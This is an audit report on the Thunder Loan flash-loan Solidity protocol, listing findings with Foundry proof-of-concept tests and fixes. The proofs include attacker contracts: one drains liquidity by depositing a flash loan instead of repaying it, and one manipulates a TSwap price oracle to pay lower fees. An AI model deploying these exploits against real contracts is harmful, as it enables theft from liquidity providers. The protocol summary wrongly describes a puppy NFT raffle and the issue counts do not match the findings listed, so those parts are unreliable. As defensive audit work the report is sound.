Thunder Loan Initial Audit Report

Version 0.1

SpectraD

September 20, 2024

Thunder Loan Audit Report

SpectraD

September 14, 2024

Thunder Loan Audit Report

Prepared by: SpectraD Lead Auditors:

- SpectraD

Assisting Auditors:

- None

Table of contents

See table

  - Issues found
- Findings
  - High
    * [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate
    * [H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`
    * [H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
  - Medium
    * [M-1] Centralization risk for trusted owners
    * [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks
  - Low
    * [L-1] Empty Function Body - Consider commenting why
    * [L-2] Initializers could be front-run
    * [L-3] Missing critial event emissions
  - Informational
    * [I-1] Poor Test Coverage
  - Gas
    * [GAS-1] Using bools for storage incurs overhead
    * [GAS-2] Using **`private`** rather than **`public`** for constants, saves gas
    * [GAS-3] Unnecessary SLOAD when logging new exchange rate

About SpectraD

Security Reviewer

Disclaimer

The SpectraD team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.

- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Info	1
Gas	2
Total	11

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, update this rate, without collecting any fees.

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
    @>  uint256 calculatedFee = getCalculatedFee(token, amount);
    @>  assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, becasue the protocol thinks the owed tokens is more thant it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposit
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
    function testredeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();
        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Removed the incorrectly updated exchange rate lines from `deposit`.

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

PoC

Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-     uint256 private s_flashLoanFee; // 0.3% ETH fee
-     uint256 public constant FEE_PRECISION = 1e18;
+     uint256 private s_blank;
+     uint256 private s_flashLoanFee;
+     uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: In the ThunderLoan contract, a malicious user can exploit the deposit function to bypass the repayment mechanisms. By using a flash loan, the user can deposit funds into the contract instead of repaying the loan, allowing them to withdraw assets without actually repaying the borrowed amount.

Impact: This vulnerability enables an attacker to siphon funds from the contract, resulting in financial losses for liquidity providers and compromising the integrity of the protocol. Users may lose confidence in the system, which could harm the adoption and usage of the protocol.

Proof of Code:

PoC

```
//[...]

function testUseDepositInsteadOfRepayToStealFund() public
    setAllowedToken hasDeposits {
     vm.startPrank(user);
     uint256 amountToBorrow = 50e18;
     uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
     DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
     tokenA.mint(address(dor), fee);
     thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
     dor.redeemMoney();
     vm.stopPrank();

     assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
}

//[...]

contract DepositOverRepay is IFlashLoanReceiver {
     ThunderLoan thunderLoan;
     AssetToken assetToken;
     IERC20 s_token;

     constructor(address _thunderLoan) {
         thunderLoan = ThunderLoan(_thunderLoan);
     }

     function executeOperation(
         address token,
         uint256 amount,
         uint256 fee,
         address /*initiator*/,
         bytes calldata /*params*/
     )

         external
         returns (bool)
     {
         s_token = IERC20(token);
         assetToken = thunderLoan.getAssetFromToken(IERC20(token));
         IERC20(token).approve(address(thunderLoan), amount + fee);
         thunderLoan.deposit(IERC20(token), amount + fee);
         return true;
     }

     function redeemMoney() public {
         uint256 amount = assetToken.balanceOf(address(this));
         thunderLoan.redeem(s_token, amount);
     }
}
```

Recommended Mitigation: To address this vulnerability, implement a check in the deposit function to ensure that the caller is not attempting to deposit funds without first repaying any outstanding loans. This can be achieved by adding a condition that verifies the user's loan status before allowing the deposit operation. Additionally, consider redesigning the contract's logic to separate the deposit and repayment functionalities more clearly, ensuring that users cannot exploit the deposit function to bypass repayment.

Medium

[M-1] Centralization risk for trusted owners

Description: The ThunderLoan protocol has an owner with privileged rights to perform administrative tasks, such as setting allowed tokens and upgrading the contract. This centralization creates a risk, as the owner must be trusted not to perform malicious actions, such as draining funds or making harmful updates. If the owner acts maliciously or is compromised, it could lead to significant financial losses for users and undermine the integrity of the protocol.

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external
    onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal
     override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

Recommended Mitigation: To mitigate this risk, consider implementing a multi-signature wallet for administrative functions, requiring multiple parties to approve critical actions. Additionally, establish a governance mechanism that allows the community to participate in decision-making processes, reducing reliance on a single trusted owner. This approach enhances security and accountability within the protocol.

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (
    uint256) {
 address swapPoolOfToken = IPoolFactory(s_poolFactory).
     getPool(token);
@>      return ITSwapPool(swapPoolOfToken).
    getPriceOfOnePoolTokenInWeth();
}
```

3. The user then repays the first flash loan, and then repays the second flash loan.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
contract ThunderLoanTest is BaseTest {
    //[...]
    function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
            timestamp);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console.log("Normal fee cost: ", normalFeeCost);

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (address(tswapPool), address(thunderLoan), address(
            thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack fee: ", attackFee);
        assert(attackFee < normalFeeCost);
    }
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;
    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )

        external
        returns (bool)
        {
            if (!attacked) {
                feeOne = fee;
                attacked = true;
                uint256 wethBought = tswapPool.
                    getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
                IERC20(token).approve(address(tswapPool), 50e18);
                tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50
                    e18, wethBought, block.timestamp);

                thunderLoan.flashloan(address(this), IERC20(token),
                    amount, "");

                // IERC20(token).approve(address(thunderLoan), amount +
                    fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount +
                    fee);
            } else {
                feeTwo = fee;

                // IERC20(token).approve(address(thunderLoan), amount +
                    fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount +
                    fee);
            }
            return true;
        }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Empty Function Body - Consider commenting why

Description: The function `_authorizeUpgrade` in the ThunderLoan contract has an empty body. This can lead to confusion for developers and auditors, as it is unclear why the function exists without any implementation. An empty function body may suggest that the function is incomplete or that the developer intended to add logic later but forgot to do so.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner { }
```

Recommended Mitigation: To improve code clarity, consider adding a comment explaining the purpose of the empty function body. This could include information about its intended use, why it is left empty, or any future plans for implementation. This practice helps maintain code readability and assists other developers in understanding the design decisions made in the contract.

[L-2] Initializers could be front-run

Description: Initializers in the ThunderLoan protocol could be vulnerable to front-running attacks. This allows an attacker to set their own values, take ownership of the contract, or force a re-deployment.

Such vulnerabilities can compromise the integrity of the contract and lead to unauthorized access or manipulation of critical functionalities.

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
     {

138:     function initialize(address tswapAddress) external initializer
     {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

Recommended Mitigation: To mitigate this risk, implement a mechanism to prevent front-running, such as using a nonce or a time-lock for initializer functions. Additionally, consider requiring a multi-signature approval for critical initializations to ensure that no single party can exploit the initializer without consensus from multiple stakeholders. This enhances the security of the contract during its initialization phase.

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+     event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements
    | % Branches     | % Funcs         |
| --------------------------------- | -------------- | --------------
    | -------------- | --------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13)
    | 50.00% (1/2)   | 66.67% (4/6)    |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
    | 100.00% (0/0)  | 80.00% (4/5)    |
| src/protocol/ThunderLoan.sol      | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16)  | 71.43% (10/14)  |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
   s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

"'diff s_exchangeRate = newExchangeRate; - emit ExchangeRateUpdated(s_exchangeRate); + emit ExchangeRateUpdated(newExchangeRate);